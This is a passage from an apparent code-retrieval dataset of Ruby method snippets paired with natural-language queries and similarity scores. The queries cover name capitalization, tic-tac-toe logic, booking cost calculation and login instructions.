result_hash[slot][time2index(time_or_index)-result_offset]\n when Numeric then result_hash[slot][time_or_index-result_offset]\n when NilClass then nil\n else\n raise ArgumentError, \"first arg must be a Time or a Fixnum, instead was #{time_or_index}\"\n end\n rescue Exception => e\n logger.error \"can't find index #{time_or_index} @ slot: #{slot}: #{e.to_s}\" if logger\n return -0.0\n end\n end", "def random_spawn_countdown minimum\n 10.randomize(:ratio, :sign).to_i + 60\n end", "def slotGenerator4(tictac_array, j, humanPlayer, computerPlayer)\n \n while tictac_array[j] == \"#{computerPlayer}\" || tictac_array[j] == \"#{humanPlayer}\" \n puts \"Please enter a valid selection\"\n r = gets.chomp\n j = r.to_i\n end\n \ntictac_array[j] = \"#{humanPlayer}\" #MOVE TO BLOCK HUMANPLAYER IN ROUND 3\n \n if j == 0 && tictac_array[4] == \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" && tictac_array[8] != \"#{humanPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\" \n\n elsif j == 0 && tictac_array[8] == \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" && tictac_array[4] != \"#{humanPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\" \n\n elsif j == 0 && tictac_array[1] == \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" && tictac_array[2] != \"#{humanPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\" \n\n elsif j == 0 && tictac_array[2] == \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" && tictac_array[1] != \"#{humanPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\" \n \n elsif j == 0 && tictac_array[6] == \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" && tictac_array[3] != \"#{humanPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\" \n\n elsif j == 0 && tictac_array[3] == \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" && tictac_array[6] != \"#{humanPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\" \n\n elsif j == 1 && tictac_array[4] == \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" && tictac_array[7] != \"#{humanPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\" \n\n elsif j == 1 && tictac_array[7] == \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" && tictac_array[4] != \"#{humanPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\" \n\n elsif j == 1 && tictac_array[2] == \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" && tictac_array[0] != \"#{humanPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\" \n\n elsif j == 1 && tictac_array[0] == \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" && tictac_array[2] != \"#{humanPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\" \n\n elsif j == 2 && tictac_array[4] == \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" && tictac_array[6] != \"#{humanPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\" \n\n elsif j == 2 && tictac_array[6] == \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" && tictac_array[4] != \"#{humanPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\" \n\n elsif j == 2 && tictac_array[0] == \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" && tictac_array[1] != \"#{humanPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\"\n\n elsif j == 2 && tictac_array[1] == \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" && tictac_array[0] != \"#{humanPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\" \n\n elsif j == 2 && tictac_array[5] == \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" && tictac_array[8] != \"#{humanPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\" \n\n elsif j == 2 && tictac_array[8] == \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" && tictac_array[5] != \"#{humanPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\"\n\n elsif j == 3 && tictac_array[0] == \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" && tictac_array[6] != \"#{humanPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\"\n\n elsif j == 3 && tictac_array[6] == \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" && tictac_array[0] != \"#{humanPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\"\n\n elsif j == 3 && tictac_array[4] == \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" && tictac_array[5] != \"#{humanPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\"\n\n elsif j == 3 && tictac_array[5] == \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" && tictac_array[4] != \"#{humanPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n\n elsif j == 4 && tictac_array[5] == \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" && tictac_array[3] != \"#{humanPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n\n elsif j == 4 && tictac_array[3] == \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" && tictac_array[5] != \"#{humanPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\"\n\n elsif j == 4 && tictac_array[1] == \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" && tictac_array[7] != \"#{humanPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\"\n\n elsif j == 4 && tictac_array[7] == \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" && tictac_array[1] != \"#{humanPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\"\n\n elsif j == 4 && tictac_array[0] == \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" && tictac_array[8] != \"#{humanPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\"\n \n elsif j == 4 && tictac_array[8] == \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" && tictac_array[0] != \"#{humanPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\"\n\n elsif j == 4 && tictac_array[2] == \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" && tictac_array[6] != \"#{humanPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\"\n\n elsif j == 4 && tictac_array[6] == \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" && tictac_array[2] != \"#{humanPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n\n elsif j == 4 && tictac_array[3] == \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" && tictac_array[5] != \"#{humanPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\"\n \n elsif j == 4 && tictac_array[5] == \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" && tictac_array[3] != \"#{humanPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n\n elsif j == 5 && tictac_array[2] == \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" && tictac_array[8] != \"#{humanPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\"\n\n elsif j == 5 && tictac_array[8] == \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" && tictac_array[2] != \"#{humanPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n\n elsif j == 5 && tictac_array[3] == \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" && tictac_array[4] != \"#{humanPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n\n elsif j == 5 && tictac_array[4] == \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" && tictac_array[3] != \"#{humanPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n\n elsif j == 6 && tictac_array[0] == \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" && tictac_array[3] != \"#{humanPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n\n elsif j == 6 && tictac_array[3] == \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" && tictac_array[0] != \"#{humanPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\"\n\n elsif j == 6 && tictac_array[2] == \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" && tictac_array[4] != \"#{humanPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n\n elsif j == 6 && tictac_array[4] == \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" && tictac_array[2] != \"#{humanPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n\n elsif j == 6 && tictac_array[7] == \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" && tictac_array[8] != \"#{humanPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\"\n\n elsif j == 6 && tictac_array[8] == \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" && tictac_array[7] != \"#{humanPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\"\n\n elsif j == 7 && tictac_array[6] == \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" && tictac_array[8] != \"#{humanPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\"\n\n elsif j == 7 && tictac_array[8] == \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" && tictac_array[6] != \"#{humanPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\"\n\n elsif j == 7 && tictac_array[1] == \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" && tictac_array[4] != \"#{humanPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n\n elsif j == 7 && tictac_array[4] == \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" && tictac_array[1] != \"#{humanPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\"\n\n elsif j == 8 && tictac_array[2] == \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" && tictac_array[5] != \"#{humanPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\"\n\n elsif j == 8 && tictac_array[5] == \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" && tictac_array[2] != \"#{humanPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n\n elsif j == 8 && tictac_array[4] == \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" && tictac_array[0] != \"#{humanPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\"\n\n elsif j == 8 && tictac_array[0] == \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" && tictac_array[4] != \"#{humanPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n\n elsif j == 8 && tictac_array[6] == \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" && tictac_array[7] != \"#{humanPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\"\n\n elsif j == 8 && tictac_array[7] == \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" && tictac_array[6] != \"#{humanPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\"\n\n end\n \n tictac_array\n\nend", "def set_max_min_times(movie_time)\n\n if self.min_time.nil? || (self.min_time > movie_time[0].time)\n self.min_time = movie_time[0].time\n end\n\n if self.max_time.nil? || (self.max_time < movie_time[-1].time)\n self.max_time = movie_time[-1].time + \n movie_time[-1].duration.minutes + TIME_BUF.minutes\n end\n\n\n end", "def select_players_for_gryffindor(full_list_of_players, already_used_players)\nend", "def min_player\n return 0\n end", "def current_pick_window\n pick_windows.where(\"window_start < '#{DateTime.now}' AND window_end > '#{DateTime.now}'\").first\n end", "def block_delivery_start_time\n unless delivery_slots_from.blank?\n delivery_slots_from.round_up(60.minutes)\n end\n end", "def calculate_time_from_to_cost\n\n time_cost = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable_out_price', '0')\n if time_cost != '0'\n\n # Check if the reservation correspond to the main season or not\n main_season_month_from = SystemConfiguration::Variable.get_value('booking.pickup_return_main_season.month_from', 1).to_i\n main_season_day_from = SystemConfiguration::Variable.get_value('booking.pickup_return_main_season.day_from', 1).to_i\n main_season_month_to = SystemConfiguration::Variable.get_value('booking.pickup_return_main_season.month_to', 12).to_i\n main_season_day_to = SystemConfiguration::Variable.get_value('booking.pickup_return_main_season.day_to', 31).to_i\n\n if main_season_month_from == 1 and main_season_day_from == 1 and main_season_month_to == 12 and main_season_day_to == 31\n timetable_id = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable','0').to_i\n else\n # JAN DIC\n # -------------------------------------\n # ^=======================^\n # from to\n if main_season_month_from <= main_season_month_to or \n (main_season_month_from == main_season_month_to and main_season_day_from <= main_season_day_to) \n if (@date_from.month >= main_season_month_from or \n (@date_from.month == main_season_month_from and @date_from.day >= main_season_day_from)) and\n (@date_to.month <= main_season_month_to or \n (@date_to.month == main_season_month_to and @date_to.day <= main_season_day_to)) # In main season\n timetable_id = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable','0').to_i\n else # Out of season\n timetable_id = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable_out_of_season','0').to_i\n end\n else\n # JAN DIC\n # -------------------------------------\n # ======^ ^======\n # to from\n if ((@date_from.month >= main_season_month_from or\n (@date_from.month == main_season_month_from and @date_from.day >= main_season_day_from)) or\n (@date_from.month <= main_season_month_to or \n (@date_from.month == main_season_month_to and @date_from.day <= main_season_day_to))\n ) and\n ((@date_to.month >= main_season_month_from or\n (@date_to.month == main_season_month_from and @date_to.day >= main_season_day_from)) or\n (@date_to.month <= main_season_month_to or\n (@date_to.month == main_season_month_to and @date_to.day <= main_season_day_to))) # In main season\n timetable_id = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable','0').to_i\n else # Out of season\n timetable_id = SystemConfiguration::Variable.get_value('booking.pickup_return_timetable_out_of_season','0').to_i\n end\n end\n end\n\n #p \"timetable_id: #{timetable_id} -- main season: #{main_season_day_from}-#{main_season_month_from} #{main_season_day_to}-#{main_season_month_to}\"\n\n time_cost = BigDecimal.new(time_cost)\n if timetable_id > 0\n if timetable = ::Yito::Model::Calendar::Timetable.get(timetable_id)\n @time_from_cost = calculate_time_cost(@date_from, @time_from, time_cost, timetable)\n @time_to_cost = calculate_time_cost(@date_to, @time_to, time_cost, timetable)\n end\n end\n\n end\n end", "def show\n @plan = SemesterPlan.find(params[:id])\n @users = []\n @users = User.users_of_plan_pure @plan\n @slots = []\n @options = {0 => \"manuellen Plan erstellen\", 1 => \"gültige Lösungen berechnen lassen\", 2 => \"hinreichend optimale Lösung berechnen lassen\"}\n @users.each do |user|\n found = !SemesterPlanConnection.are_build?(user, @plan)\n @plan.time_slots.each do |slot|\n type = slot_type slot\n if found\n @slots << SemesterPlanConnection.create(user: user, time_slot: slot, typus: type, availability: 0)\n else\n @slots << SemesterPlanConnection.find_it(user, slot)\n end\n end\n end\n end", "def min_ask\n asks.first\n end" ]
[ "0.6392387", "0.57438064", "0.5517033", "0.5349754", "0.5348736", "0.528312", "0.5281394", "0.5247513", "0.52429277", "0.52361834", "0.51702213", "0.5166689", "0.51439786", "0.51199365", "0.51167697", "0.5107501", "0.50958717", "0.507991", "0.50675017", "0.5062232", "0.5061096", "0.5027583", "0.5013555", "0.50075424", "0.49901086", "0.49866495", "0.4980123", "0.4958699", "0.4955107", "0.49465832", "0.49458697", "0.49089035", "0.49004012", "0.48715872", "0.48640406", "0.48548022", "0.48499632", "0.48375112", "0.48365936", "0.48356953", "0.4824775", "0.48222265", "0.4818743", "0.4812419", "0.48120522", "0.4811546", "0.48086923", "0.4808014", "0.480587", "0.48023614", "0.4798159", "0.4797542", "0.47832978", "0.47830227", "0.47814646", "0.4779617", "0.47773263", "0.47745556", "0.47694445", "0.47631022", "0.4761254", "0.4758672", "0.4756688", "0.475619", "0.47553304", "0.47434145", "0.47405764", "0.4736686", "0.47361854", "0.47358134", "0.4732984", "0.4732174", "0.47319207", "0.4730552", "0.4728623", "0.47260994", "0.47202167", "0.47179067", "0.47161004", "0.47154176", "0.4715415", "0.4705161", "0.47050798", "0.46977007", "0.46963143", "0.46931282", "0.46914265", "0.46850228", "0.46768686", "0.46750078", "0.46734607", "0.4669793", "0.4665547", "0.46638423", "0.465141", "0.4649388", "0.46468493", "0.46437624", "0.4638774", "0.463626" ]
0.61272323
1
the name properly capitalized. Hint: use str.upcase and str.downcase "abc".upcase => "ABC"
def format_name(str) names = str.split (" ") new_name = [] names.each do |name| new_name << name[0].upcase + name[1..-1].downcase # 2nd character to end (-1 last character of string) end return new_name.join(" ") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def capitalize_name\n self.name = name.sub(/\\S/, &:upcase) unless name.nil?\n end", "def downcase_name\n name.downcase!\n end", "def capitalized\n name.titleize.capitalize\n end", "def normalize_name(name)\n CapitalizeNames.capitalize(name)\n end", "def case_fix(name)\r\n fixed_name = name.split(' ')\r\n fixed_name.each do |word|\r\n word.capitalize!\r\n end\r\n fixed_name.join(' ')\r\nend", "def capitalize() end", "def caps(str)\n str.upcase\n end", "def capitalize_name\n self.name = self.name.split.collect(&:capitalize).join(' ') if self.name && !self.name.blank?\n end", "def capitalize!() end", "def capitalize(input); end", "def capitalize_name!\n @fullname = @fullname.upcase\n return @fullname.upcase\n end", "def capitalize_names!\n @artist_name = StringUtils.mixed_case(@artist_name)\n @name = StringUtils.mixed_case(@name)\n @subtitle = StringUtils.mixed_case(@subtitle)\n @genre = StringUtils.mixed_case(@genre)\n @mixer = StringUtils.mixed_case(@mixer)\n @version_name = StringUtils.mixed_case(@version_name)\n @version_name.gsub!(/(\\A|\\s)(Version|Release)\\b/) {|string| string.downcase} if @version_name\n end", "def upcase\n @name.upcase\n end", "def proper_name(name)\n return name if name =~ /[[:upper:]]/\n\n name.gsub(/\\b[[:alpha:]]+/) { |w| w =~ PARTICLE_REGEX ? w : w.capitalize }\n end", "def uppercase_name\n self.name = name.split.map(&:capitalize).join(' ')\n self.location = location.split.map(&:capitalize).join(' ')\n end", "def capitalize_names!\n @artist_name = StringUtils.mixed_case(@artist_name)\n @name = StringUtils.mixed_case(@name)\n @genre = StringUtils.mixed_case(@genre)\n @mixer = StringUtils.mixed_case(@mixer)\n end", "def downcase() end", "def capitalize_name(name)\n name_array = name.split\n formatted_user_name = name_array.map(&:capitalize)\n formatted_user_name.join(' ')\nend", "def downcase(input); end", "def camel_case(str); end", "def upcase() end", "def snake_case(name); end", "def upcase(input); end", "def caps(string)\n return string.upcase\nend", "def caps(string)\n return string.upcase\nend", "def camel_case(name)\n if name.include? '_'\n name.split('_').map{|e| e.capitalize}.join\n else\n unless name =~ (/^[A-Z]/)\n name.capitalize\n else\n name\n end\n end\nend", "def uppercase_name\n # self.name.upcase\n name.upcase #self is the implicit reciever\n end", "def prepare_name(name)\n name.to_s.upcase\n end", "def capitalize(name)\n secret_name = name.split(\" \").map do |word|\n word.capitalize\n end\n secret_name.join(\" \")\nend", "def spy_name(real_name)\n capitalize(next_letter(swap(real_name)))\nend", "def oracle_upcase(name)\n name =~ /[A-Z]/ ? name : name.upcase\n end", "def downcase!() end", "def ucfirst\n self.sub(/^(\\w)/) { |s| s.capitalize }\n end", "def fix_capitalized_species_epithet(str)\n # Is second word capitalized?\n return str unless str.match?(/^\\S+ [A-Z]/)\n\n # Trust it if there is actually a name with that author present.\n return str if Name.find_by(search_name: str).present?\n\n # Try converting second word to lowercase.\n str2 = str.sub(/ [A-Z]/, &:downcase)\n\n # Return corrected name if that name exists, else keep original name.\n if Name.where(search_name: str2).or(Name.where(text_name: str2)).present?\n str2\n else\n str\n end\n end", "def strip_and_downcase_name\n if name.present?\n name.strip!\n name.downcase!\n end\n end", "def caps(name)\n\tputs \"#{name.upcase}\"\nend", "def to_name(name)\n name.to_s.downcase\n end", "def capitalize(s)\n s[0..0].upcase + s[1..-1]\n end", "def capitalize\n \"Foo\"\n end", "def upcase!() end", "def mixed_case_2(name)\n\tname.downcase.gsub(/\\b\\w/, &:upcase)\nend", "def downcase; end", "def undercover_name(name)\n name.downcase.split(' ').map!{|name| name.split('').map! {|letter| next_letter(letter)}.join('').capitalize}.reverse.join(\" \")\nend", "def snakecase(name)\n name.gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').downcase\n end", "def uncapitalize(name)\n raise if name.blank?\n name.downcase.titleize.gsub(/\\sAnd\\s/, ' and ')\n end", "def shout(str); str.upcase end", "def camelize(name, uc_first=true)\n parts = name.to_s.split('_')\n assemble = lambda { |head, tail| head + tail.capitalize }\n uc_first ? parts.inject('', &assemble) : parts.inject(&assemble)\n end", "def oracle_upcase(name)\n name =~ /[A-Z]/ ? name : name.upcase\n end", "def make_upper_case(str)\n str.upcase\nend", "def capitalize\n `return self.charAt(0).toUpperCase() + self.substr(1).toLowerCase();`\n end", "def capitalize\n `return self.charAt(0).toUpperCase() + self.substr(1).toLowerCase();`\n end", "def downcase_camelcase_input(input)\n input.split(\" \").collect do |word|\n word.downcase.capitalize\n end.join(\" \")\n end", "def capit(string)\n string.slice(0,1).capitalize + string.slice(1..-1)\n end", "def human_name\n name.capitalize.to_s\n end", "def weirdcase1(string)\n string.gsub(/(\\w{1,2})/) { |s| $1.capitalize }\nend", "def capitalize(s)\n s.gsub(/\\b(\\w+)/) {|x| x.capitalize} if s\n end", "def mixed_case(name)\n\tname.downcase.gsub(/\\b\\w/) {|first| first.upcase}\nend", "def snake_case_to_capitalised(str)\n str.split(\"_\").map(&:capitalize).join(\" \")\n end", "def camelcase(s)\n\n\nend", "def titlecase\n gsub(/\\b\\w/){ $`[-1,1] == \"'\" ? $& : $&.upcase }\n end", "def lowercase_name\n name.downcase\n end", "def capitalize_names!\n @artist_name = StringUtils.mixed_case(@artist_name)\n @name = StringUtils.mixed_case(@name)\n @genre = StringUtils.mixed_case(@genre)\n \n @remix = capitalize_remix_name(@remix)\n\n @featured_artists.collect! { |artist| StringUtils.mixed_case(artist) }\n end", "def cleanup_surname(name)\n if name.length > 4\n name.gsub!(/^Mc(\\w+)/) { |s| \"Mc#{$1.capitalize}\" }\n name.gsub!(/^Mac(\\w+)/) { |s| \"Mac#{$1.capitalize}\" }\n name.gsub!(/^Mac(\\w+)/) { |s| \"Mac#{$1.capitalize}\" }\n name.gsub!(/^Osh(\\w+)/) { |s| \"O'sh#{$1}\" }\n name.gsub!(/^Van(\\w+)/) { |s| \"Van#{$1.capitalize}\" }\n name.gsub!(/^Von(\\w+)/) { |s| \"Von#{$1.capitalize}\" } \n# name.gsub!(/^Dev(\\w+)/) { |s| \"DeV#{$1}\" } \n end\n name\n end", "def get_camel_caps input\n tmp = input.split(\"_\")\n tmp.each do |x|\n x.downcase!\n x.capitalize!\n end\n return tmp.join(\"\")\n end", "def name_case!\n self.gsub!(self, self.name_case)\n end", "def namify\n self.name.split(\" \").map{|x| x.first.capitalize}[0..1].join(\"\")\n end", "def capitalize(word)\n\nend", "def mixed_case(name)\n name.downcase.gsub(/\\b\\w/, &:upcase)\nend", "def capitalize_name(name)\n name.call\nend", "def format_name(str)\n norm_arr = []\n str_arr = str.split(\" \")\n\n str_arr.each do |word|\n word = word.downcase\n word[0] = word[0].upcase\n norm_arr << word\n end\n\n return norm_arr.join(\" \")\nend", "def is_upper? str; str == str.upcase; end", "def camel_case\n gsub /(?:^|_)(.)/ do $1.upcase end\n end", "def upcase; end", "def capitalizer (string)\n new_name = string.downcase.split\n new_name.map! do | words |\n words.capitalize\n end\n new_name.join(' ')\nend", "def capitalize\n (self.to_s.capitalize! || self).to_sym\n end", "def to_upper_case(word)\n return word.upcase\n end", "def shout(str)\n str.upcase\nend", "def name(entered_name)\n split_name = entered_name.split\n @first_name = split_name[0].capitalize\n @last_name = split_name[1].capitalize\n end", "def titlecase\n\t\tsplit(/(\\W)/).map(&:capitalize).join\n\tend", "def shout(str)\n return str.upcase\nend", "def titlecase(input)\n input.titlecase\n end", "def shout(word)\n upper_case = word.upcase\nend", "def capitalize(word)\n word[0, 1].upcase + word[1 .. -1]\n end", "def name_upper\n return GameData::Text.get(0,@step_remaining==0 ? @id : 0).upcase\n end", "def name_swap(str)\n\tname_array = str.split(' ')\n\t\tname_array.reverse!\n\t\tname_array[0].insert(-1, \" \")\n\t\tname_array.join('').downcase!\nend", "def is_upper?(c)\n return c == c.capitalize\n end", "def change_name(name)\n\t\t# create alphabet range\n\t\tvowels = 'aeiou'\n\t\tvowel_change = vowels.split('').reverse\n\t\tconsonants = 'abcdefghijklmnopqrstuvwxyz'\n\t\tconsonant_change = consonants.delete('aeiou').split('').reverse\n\n\t\toriginal_name = name\n\t\tname_reverse = original_name.downcase.split.reverse.join('').split('')\n\n\n\t\tnew_name = name_reverse.map do |letter|\n\t\t\tif vowels.include?(letter)\n\t\t\t\tvowel_change[vowel_change.index(letter)-1]\n\t\t\telsif consonants.include?(letter)\n\t\t\t\tconsonant_change[consonant_change.index(letter)-1]\n\t\t\telse\n\t\t\t\tletter\n\t\t\tend\nend\n\nfinal_name = new_name.join.split.map { |name| name.capitalize}.join('')\nend", "def LetterCapitalize(str)\n\n # code goes here\n str_parts = str.split(\" \")\n str_parts.each { |x| x.capitalize! }\n return str_parts.join(\" \")\n \nend", "def titlecase()\r\n ignore_list = %w{of etc and by the for on is at to but nor or a via}\r\n capitalize_all_ex(ignore_list)\r\n end", "def snakecase(string); end", "def capitalize(string) \r\n puts \"#{string[0].upcase}#{string[1..-1]}\"\r\nend", "def abbrev_name(name)\r\n # name.split.map { |s| s[0]}.join('.').upcase\r\n # name.upcase.split.map(&:chr).join\".\"\r\n \r\n newname = name.split(' ')\r\n newname[0][0].capitalize + '.' + newname[1][0].capitalize\r\nend", "def normalize_input\n self.name = name.downcase\n end", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def uncapitalize(string)\n str = string.dup\n str[0] = str[0].downcase\n str\n end", "def snake_case(name)\n name.gsub(/([a-z])([A-Z0-9])/, '\\1_\\2' ).downcase\nend" ]
[ "0.826947", "0.82313806", "0.8164194", "0.81046695", "0.80639523", "0.8053243", "0.80069137", "0.7996569", "0.7979893", "0.7925619", "0.7909197", "0.79032665", "0.789989", "0.7863901", "0.78248316", "0.7742646", "0.7738932", "0.76848084", "0.7670652", "0.7653194", "0.7649761", "0.7649527", "0.7605642", "0.7601735", "0.7601735", "0.75753284", "0.7572914", "0.756644", "0.7562251", "0.7561283", "0.7554497", "0.7549471", "0.75400037", "0.75322646", "0.7504146", "0.7482438", "0.7458683", "0.7449468", "0.7444792", "0.7442781", "0.7422941", "0.74169904", "0.74157786", "0.7410992", "0.74032235", "0.73974514", "0.7394287", "0.7386619", "0.73827565", "0.73486507", "0.73486507", "0.73398286", "0.7335879", "0.73240435", "0.730698", "0.7303711", "0.7286788", "0.7278414", "0.7278376", "0.7273894", "0.7273671", "0.72616285", "0.72453016", "0.72388726", "0.7228081", "0.7227378", "0.7226316", "0.72254384", "0.72235805", "0.72004807", "0.7198335", "0.7190699", "0.7189953", "0.71891683", "0.71800077", "0.7176546", "0.7168472", "0.7165337", "0.7163966", "0.71594083", "0.7149057", "0.7145841", "0.71390814", "0.71376115", "0.7132779", "0.7131565", "0.7131061", "0.712077", "0.71125007", "0.7100001", "0.70999247", "0.70962274", "0.70700467", "0.7067141", "0.7067141", "0.7067141", "0.7067141", "0.7067141", "0.7067141", "0.7065287", "0.70636487" ]
0.0
-1
shows printable login instructions for the user
def login_instructions end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def displayLoginPage()\n\t# User Name: \n\t# Password:\n\t# Forgot Password?\tNew User?\n\treturn\nend", "def login_display\n\t\tsystem(\"clear\")\n puts \"#######################\"\n puts \"# #\"\n puts \"# Welcome!! #\"\n puts \"# #\"\n puts \"# Please select an #\"\n puts \"# option #\"\n puts \"# #\"\n puts \"# 1. New User #\"\n puts \"# #\"\n puts \"# 2. Returning User #\"\n puts \"# #\"\n puts \"# 3. Exit #\"\n puts \"# #\"\n\t\tputs \"#######################\"\n\tend", "def idt_login\n show do\n title \"Prepare to order primer\"\n \n check \"Go to the <a href='https://www.idtdna.com/site/account' target='_blank'>IDT website</a>, log in with the lab account. (Username: #{IDT_USER}, password is #{IDT_PASS}).\"\n warning \"Ensure that you are logged in to this exact username and password!\"\n end\n end", "def handle_display\n display_login(MAIN_LOGIN)\n end", "def login\n\n username = prompt.ask(\"Enter your username:\\n\")\n while !User.find_by(username: username)\n puts \"Username not found - please try again.\\n\"\n username = prompt.ask(\"Enter your username:\\n\")\n end\n\n password = prompt.mask(\"Enter your password:\")\n while User.find_by(username: username).password != password\n puts \"Invalid password - please try again.\"\n password = prompt.mask(\"Enter your password:\")\n end\n \n self.user_id = User.find_by(username: username).id\n puts \"Successfully logged in! Welcome #{User.return_username(user_id)}!\\n\"\n\n show_threads\n end", "def login_message\n \"You need to be logged in to carry this out.<br/>If you don't have an account, feel free to create one.\"\n end", "def members_login\r\n\t@title = \"Members Login\"\r\n end", "def login\n\t#Login Form\n end", "def handle_printable_instructions\n if @user.reset_password_method == \"print\"\n # save the password in the flash since we won't be able to get it once it's 